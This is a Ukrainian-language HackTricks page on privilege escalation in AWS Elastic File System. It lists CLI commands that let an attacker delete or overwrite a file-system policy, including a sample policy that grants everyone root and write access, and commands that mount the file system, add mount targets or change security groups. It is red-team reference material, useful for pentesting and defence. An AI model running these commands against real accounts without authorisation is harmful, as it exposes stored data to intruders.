AWS - EFS Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

EFS

Більше інформації про EFS в:

AWS - EFS Enum

Пам'ятайте, що для монтування EFS вам потрібно бути в підмережі, де EFS відкритий, і мати доступ до нього (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його змонтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб отримати доступ.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

З будь-яким з цих дозволів зловмисник може змінити політику файлової системи, щоб надати вам доступ до неї або просто видалити її, щоб надано доступ за замовчуванням.

Щоб видалити політику:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

Щоб змінити це:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

З цією дозволом зловмисник зможе підключити EFS. Якщо дозвіл на запис за замовчуванням не надано всім, хто може підключити EFS, він матиме лише доступ для читання.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Додаткові дозволи elasticfilesystem:ClientRootAccess та elasticfilesystem:ClientWrite можуть бути використані для запису всередині файлової системи після її монтування та для доступу до цієї файлової системи як root.

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі.

elasticfilesystem:CreateMountTarget

Якщо ви, як зловмисник, знаходитесь у підмережі, де немає цільового монту EFS. Ви можете просто створити один у своїй підмережі з цим привілеєм:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Потенційний вплив: Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі.

elasticfilesystem:ModifyMountTargetSecurityGroups

У сценарії, коли зловмисник виявляє, що EFS має точку монтування у його підмережі, але жодна група безпеки не дозволяє трафік, він може просто змінити це, змінивши вибрані групи безпеки:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Потенційний вплив: Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks